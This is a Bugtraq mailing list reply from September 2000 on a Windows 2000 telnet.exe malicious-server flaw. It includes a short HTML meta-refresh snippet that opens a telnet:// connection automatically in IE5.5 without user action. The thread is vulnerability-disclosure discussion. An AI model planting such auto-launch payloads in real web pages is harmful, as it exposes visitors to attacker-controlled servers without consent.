Bugtraq mailing list archives

Re: Win2k Telnet.exe malicious server vulnerability

From: Micah Webner <micah () SYSTIME COM>
Date: Thu, 14 Sep 2000 10:34:30 -0400

----- Original Message -----
From: "monti" <monti () USHOST COM>
To: <BUGTRAQ () SECURITYFOCUS COM>
Sent: Wednesday, September 13, 2000 4:13 PM
Subject: Win2k Telnet.exe malicious server vulnerability

I would speculate that it might also be possible to force this to
happen without user intervention with javascript/activeX/java or

really

creative HTLM. I try really hard not to do HTLM/web-code anymore

unless

it's really necessary so I didnt test this.


I tested this with IE5.5 and a simple http refresh, and it opened a
telnet window.

     <html><head>
     <meta http-equiv="refresh"
content="0;URL=telnet://sometelnetserver">
     </head>
     </html>

Didn't even need jscript/ActiveX/java to pull it off.

Micah

Current thread:

Win2k Telnet.exe malicious server vulnerability monti (Sep 13)
- Re: Win2k Telnet.exe malicious server vulnerability Jim Paris (Sep 14)
- Re: Win2k Telnet.exe malicious server vulnerability Micah Webner (Sep 14)
- <Possible follow-ups>
- Re: Win2k Telnet.exe malicious server vulnerability Microsoft Security Response Center (Sep 14)
  - Re: Win2k Telnet.exe malicious server vulnerability monti (Sep 14)
- Re: Win2k Telnet.exe malicious server vulnerability Microsoft Security Response Center (Sep 14)
- Re: Win2k Telnet.exe malicious server vulnerability Tim Hollebeek (Sep 14)
- Re: Win2k Telnet.exe malicious server vulnerability Blue Boar (Sep 15)
- Re: Win2k Telnet.exe malicious server vulnerability Рягин Михаил Юрьевич (Sep 15)
  - Re: Win2k Telnet.exe malicious server vulnerability Bronek Kozicki (Sep 17)
    - Re: Win2k Telnet.exe malicious server vulnerability J Edgar Hoover (Sep 18)